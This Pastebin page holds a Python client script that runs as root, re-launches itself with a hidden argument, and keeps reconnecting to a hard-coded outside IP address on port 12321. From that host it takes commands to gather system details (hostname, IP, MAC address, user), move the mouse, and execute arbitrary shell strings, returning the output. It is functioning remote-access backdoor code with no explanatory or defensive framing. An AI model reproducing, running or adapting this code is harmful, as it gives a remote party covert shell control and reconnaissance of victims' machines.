Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import socket
- import time
- import sys, os, pwd
- import json
- import platform
- import re, uuid
- from time import gmtime, strftime
- import subprocess, os, sys
- if os.getuid() != 0:
- print("Run as root!")
- raise SystemExit
- elif not len(sys.argv) > 1:
- p = subprocess.Popen(['python3', 'client.py', "a142"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
- raise SystemExit
- elif sys.argv[1] != "a142":
- raise SystemExit
- connected = False
- s = None
- log_store = []
- def log(message):
- log_store.append(strftime("%a, %d %b %Y %H:%M:%S", gmtime()) + ": " + message)
- try:
- import pyautogui
- except:
- log("Could not import PyAutoGUI: " + repr(sys.exc_info()))
- def respond(obj):
- if connected:
- s.send(json.dumps(obj).encode("utf-8"))
- def recv(size=4096):
- global connected
- try:
- rdata = s.recv(size).decode("utf-8")
- except ConnectionResetError:
- connect()
- rdata = s.recv(size).decode("utf-8")
- if rdata == "":
- log("Socket disconnected.")
- connected = False
- connect()
- return recv(size)
- else:
- return json.loads(rdata)
- def connect():
- global s, connected
- i = 0
- while not connected:
- try:
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.connect(("3.10.58.31", 12321))
- connected = True
- print("\nConnected!")
- log("Socket connected.")
- except:
- # print(repr(sys.exc_info()))
- i = (i + 1) % 4
- print("\rConnection failed, retrying" + ("." * i) + (" " * 5), end="")
- time.sleep(0.5)
- connect()
- while True:
- data = recv()
- c = data["command"]
- if c == "ping":
- print("Received ping")
- respond({"status": "success"})
- elif c == "log":
- respond(log_store)
- elif c == "movemouse":
- pyautogui.moveTo(int(data["x"]), int(data["y"]))
- elif c == "info":
- info = {}
- info['platform'] = platform.system()
- info['platform-release'] = platform.release()
- info['platform-version'] = platform.version()
- info['architecture'] = platform.machine()
- info['hostname'] = socket.gethostname()
- info['ip-address'] = socket.gethostbyname(socket.gethostname())
- info['mac-address'] = ':'.join(re.findall('..', '%012x' % uuid.getnode()))
- info['processor'] = platform.processor()
- info["whoami"] = pwd.getpwuid(os.getuid())
- respond(info)
- elif c == "cmd":
- try:
- respond({"response": subprocess.check_output(data["shellstring"], shell=True).decode("utf-8")})
- except:
- respond({"error": repr(sys.exc_info())})
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement